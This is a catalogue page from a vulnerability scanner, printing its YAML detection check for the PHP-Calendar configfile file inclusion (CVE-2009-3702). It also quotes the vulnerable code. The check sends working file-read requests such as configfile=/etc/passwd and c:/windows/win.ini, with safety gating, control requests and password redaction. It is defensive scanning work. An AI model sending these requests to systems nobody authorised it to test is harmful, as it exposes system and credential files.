PHP-Calendar — 1 vulnerability check

noctis ships 1 vulnerability check for PHP-Calendar, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP-Calendar update08.php / update10.php configfile File Inclusion

CVECVE-2009-3702
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 75
Feedtests/vulnerabilities/php-calendar/CVE-2009-3702.yaml

Tests PHP-Calendar 1.1 and earlier for the file inclusion in its upgrade scripts update08.php and update10.php, which include the file named by the configfile parameter when the calendar has no config.php. The feed first checks that config.php (and config.inc.php for update08.php) is absent, because on a configured calendar these scripts run the database upgrade instead and must not be requested; config.php must answer with the same 404 page as an absent random .php, so a config file hidden behind a custom 404 rule is not taken for a missing one. It then requests each script with configfile=/etc/passwd, or, when the script answers with its configuration-file form, c:/windows/win.ini, c:/boot.ini and finally the COPYING file PHP-Calendar ships next to the script (readable even under open_basedir), under the web root and the usual /php-calendar, /php-calendar-1.1, /phpcalendar, /calendar and /phpc install paths. The file's content in the reply confirms the inclusion. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/config.php
  3. HTTP(S) request GET {{dir}}/noctis-absent-{{oob_token}}.php
  4. HTTP(S) request GET {{dir}}/config.inc.php
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{page}}?configfile=/etc/passwd
  7. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n]*:0:([01]):([^:\r\n]*:[^:\r\n]*:[^:\r\n<]*)
  8. Parses / computes the next value with a Rhai script
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request GET {{page}}?configfile=c:/windows/win.ini
  11. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  12. HTTP(S) request GET {{page}}?configfile=c:/boot.ini
  13. Checks bootini_r.body for (?i)\[boot loader\]
  14. HTTP(S) request GET {{page}}?configfile=COPYING
  15. … and 5 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/php-calendar/CVE-2009-3702.yaml
# PHP-Calendar update08.php / update10.php configfile file inclusion — CVE-2009-3702
#
# PHP-Calendar 1.1 ships two upgrade scripts at the install root,
# update08.php and update10.php. When the calendar has no config.php yet
# (update08.php also looks for config.inc.php) they do
#     elseif(!empty($_GET['configfile'])) {
#         if(file_exists($_GET['configfile'])) require_once($_GET['configfile']);
#         else echo "<p>File not found</p>\n";
#     }
# so an unauthenticated request includes (and executes) any file the web
# server can read; with allow_url_include on, a remote file through a URL
# wrapper that supports stat() (ftp://) is executed too. The scripts were
# removed in PHP-Calendar 2.0.
#
# Detection (benign, read-only): GET
#   <dir>/update08.php?configfile=/etc/passwd   (then update10.php)
# and match the file CONTENT (root:...:0:[01]:) in the reply; when the page
# answers with its own "Config file (include full path)" form (the file does
# not exist there), c:/windows/win.ini then c:/boot.ini are tried. QoD 75.
#
# Improvements over the source NASL:
#   - Safety: once a config.php exists, the same scripts skip configfile and
#     run the database upgrade (ALTER TABLE on the calendar's tables) for
#     anyone who requests them. The NASL requests them regardless. The feed
#     first asks for <dir>/config.php (and config.inc.php for update08.php)
#     and only touches an update script when they answer 404 — exactly the
#     case where the inclusion is reachable, so no detection is lost. The 404
#     page must equal the one an absent random .php in the same dir gets
#     (file names aside), so a config.php hidden by a custom 404 rule (IIS
#     request filtering, nginx "return 404") is not taken for a missing one.
#   - The NASL needs the product detection to have found the install dir; the
#     feed loops over the web root and the usual /php-calendar,
#     /php-calendar-1.1, /phpcalendar, /calendar and /phpc install paths.
#   - The NASL sends "/" + "windows/win.ini" (a rootless path); the feed sends
#     drive-qualified c:/windows/win.ini and c:/boot.ini, and only after the
#     page proved to be the update script (its configfile form came back).
#   - Last resort on any OS, and the only one that works under open_basedir or
#     a chroot: configfile=COPYING, the GPL text shipped next to the script
#     (relative path, resolved from the script's directory).
#   - A control request (same parameter, absent random file) must come back
#     WITHOUT any file signature; a server that returns the same file on every
#     request is therefore not reported (fail-closed). The absent name
#     contains etc/passwd, win.ini, boot.ini and COPYING.
#   - root's password field from /etc/passwd is redacted before it can reach
#     the finding.
#   - No RFI/OOB branch: file_exists() is false for http:// URLs (the http
#     wrapper has no stat()), so an HTTP callback can never be triggered.
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_php_calendar_rfi_n_lfi_vuln.nasl
# (GPL-2.0-only).
uid: c32f5234-fe1e-483e-9c93-0ffd46070328
name: "PHP-Calendar update08.php / update10.php configfile File Inclusion (CVE-2009-3702)"
description: |
  Tests PHP-Calendar 1.1 and earlier for the file inclusion in its upgrade
  scripts update08.php and update10.php, which include the file named by the
  configfile parameter when the calendar has no config.php. The feed first
  checks that config.php (and config.inc.php for update08.php) is absent,
  because on a configured calendar these scripts run the database upgrade
  instead and must not be requested; config.php must answer with the same 404
  page as an absent random .php, so a config file hidden behind a custom 404
  rule is not taken for a missing one. It then requests each script with
  configfile=/etc/passwd, or, when the script answers with its
  configuration-file form, c:/windows/win.ini, c:/boot.ini and finally the
  COPYING file PHP-Calendar ships next to the script (readable even under
  open_basedir), under the web root and the
  usual /php-calendar, /php-calendar-1.1, /phpcalendar, /calendar and /phpc
  install paths. The file's content in the reply confirms the inclusion. A
  control request for an absent random file must not return any of these
  files, so a server that serves the same content on every request is not
  reported. Only world-readable system files are read; root's password field
  is redacted from the evidence.
cves: [CVE-2009-3702]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [php-calendar, lfi, rfi, file-inclusion, file-read, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-3702"
  - "http://www.securityfocus.com/bid/36816"
  # OpenVAS/Greenbone NASL 2009/gb_php_calendar_rfi_n_lfi_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per candidate script. Each
  # pass resets the values it reads, so nothing is left over from the last one.
  - id: init-cfg-r
    action: set_var
    var_name: cfg_r
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over:
        - "/update08.php"
        - "/update10.php"
        - "/php-calendar/update08.php"
        - "/php-calendar/update10.php"
        - "/php-calendar-1.1/update08.php"
        - "/php-calendar-1.1/update10.php"
        - "/phpcalendar/update08.php"
        - "/phpcalendar/update10.php"
        - "/calendar/update08.php"
        - "/calendar/update10.php"
        - "/phpc/update08.php"
        - "/phpc/update10.php"

  - id: init-cfginc-r
    action: set_var
    var_name: cfginc_r
    var_value: {status: 0, body: ""}

  - id: init-abs-r
    action: set_var
    var_name: abs_r
    var_value: {status: 0, body: ""}

  - id: init-copying-r
    action: set_var
    var_name: copying_r
    var_value: {status: 0, body: ""}

  - id: init-safe
    action: set_var
    var_name: safe
    var_value: false

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-is-form
    action: set_var
    var_name: is_form
    var_value: false

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # Install dir of this script ("" for the web root).
  - id: dir-of-page
    action: script
    code: "page.sub_string(0, page.len() - 13)"
    store_as: dir

  # ── Safety gate: never request an update script next to a config file ────
  # (it would run the database upgrade). config.php is executed by PHP and
  # prints nothing when present; absent, the server answers 404.
  - id: probe-config
    action: http_request
    method: GET
    path: "{{dir}}/config.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: cfg_r

  # An absent random .php in the same dir: its 404 page must look exactly like
  # config.php's (file names aside), so a config.php hidden behind a custom
  # 404 rule is not mistaken for a missing one.
  - id: probe-absent-php
    action: http_request
    method: GET
    path: "{{dir}}/noctis-absent-{{oob_token}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "cfg_r.status == 404"
    store_as: abs_r

  - id: probe-config-inc
    action: http_request
    method: GET
    path: "{{dir}}/config.inc.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'cfg_r.status == 404 && page.ends_with("/update08.php")'
    store_as: cfginc_r

  - id: gate
    action: script
    code: |
      let absname = "noctis-absent-" + oob_token + ".php";
      let abs_body = str_replace(abs_r.body, absname, "<f>");
      cfg_r.status == 404 && abs_r.status == 404 &&
        str_replace(cfg_r.body, "config.php", "<f>") == abs_body &&
        (page.ends_with("/update10.php") ||
          (cfginc_r.status == 404 && str_replace(cfginc_r.body, "config.inc.php", "<f>") == abs_body))
    store_as: safe

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{page}}?configfile=/etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "safe"
    store_as: passwd_r

  # No on_match: the raw body (root's password field) must not become evidence.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n]*:0:([01]):([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 1 {
        "root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
      } else { "" }
    store_as: lin_proof

  # The script's own configfile form: the page is the update script and the
  # file simply does not exist on this OS.
  - id: form-check
    action: script
    code: |
      lin_proof == "" && passwd_r.status == 200 &&
        passwd_r.body.contains("Config file (include full path)") &&
        passwd_r.body.contains("name=\"configfile\"")
    store_as: is_form

  # ── Windows: c:/windows/win.ini, then c:/boot.ini (older Windows) ────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{page}}?configfile=c:/windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_form"
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: "is_form"
    on_match:
      set_vars:
        win_file: "c:/windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{page}}?configfile=c:/boot.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'is_form && win_file == ""'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'is_form && win_file == ""'
    on_match:
      set_vars:
        win_file: "c:/boot.ini"

  # ── Any OS, also under open_basedir: the COPYING file PHP-Calendar ships ─
  # next to the script (relative path, resolved from the script's directory).
  - id: read-copying
    action: http_request
    method: GET
    path: "{{page}}?configfile=COPYING"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'is_form && win_file == ""'
    store_as: copying_r

  - id: copying-content
    action: match
    source: copying_r.body
    pattern: "GNU GENERAL PUBLIC LICENSE\\s+Version 2, June 1991"
    condition: 'is_form && win_file == ""'
    on_match:
      set_vars:
        win_file: "COPYING"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  - id: control
    action: http_request
    method: GET
    path: "{{page}}?configfile=/etc/passwd.win.ini.boot.ini.COPYING.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\]|GNU GENERAL PUBLIC LICENSE)"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^root:<redacted>:0:[01]:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "PHP-Calendar update script configfile File Inclusion (CVE-2009-3702)"
        description: "An unauthenticated request to a PHP-Calendar upgrade script with configfile=/etc/passwd returned the content of /etc/passwd, which the script included as its configuration file, while the same request for an absent file did not. The same parameter executes any PHP file readable by the web server."
        remediation: "Delete update08.php and update10.php from the PHP-Calendar install (they are only needed once, during an upgrade from 0.8/1.0), or upgrade to PHP-Calendar 2.0 or later, which no longer ships them. Keep allow_url_include disabled."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{page}}?configfile=/etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(c:/windows/win\\.ini|c:/boot\\.ini|COPYING)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "PHP-Calendar update script configfile File Inclusion (CVE-2009-3702)"
        description: "An unauthenticated request to a PHP-Calendar upgrade script with configfile pointing at a Windows system file, or at the COPYING file shipped next to it, returned that file's content, which the script included as its configuration file, while the same request for an absent file did not. The same parameter executes any PHP file readable by the web server."
        remediation: "Delete update08.php and update10.php from the PHP-Calendar install (they are only needed once, during an upgrade from 0.8/1.0), or upgrade to PHP-Calendar 2.0 or later, which no longer ships them. Keep allow_url_include disabled."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{page}}?configfile={{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub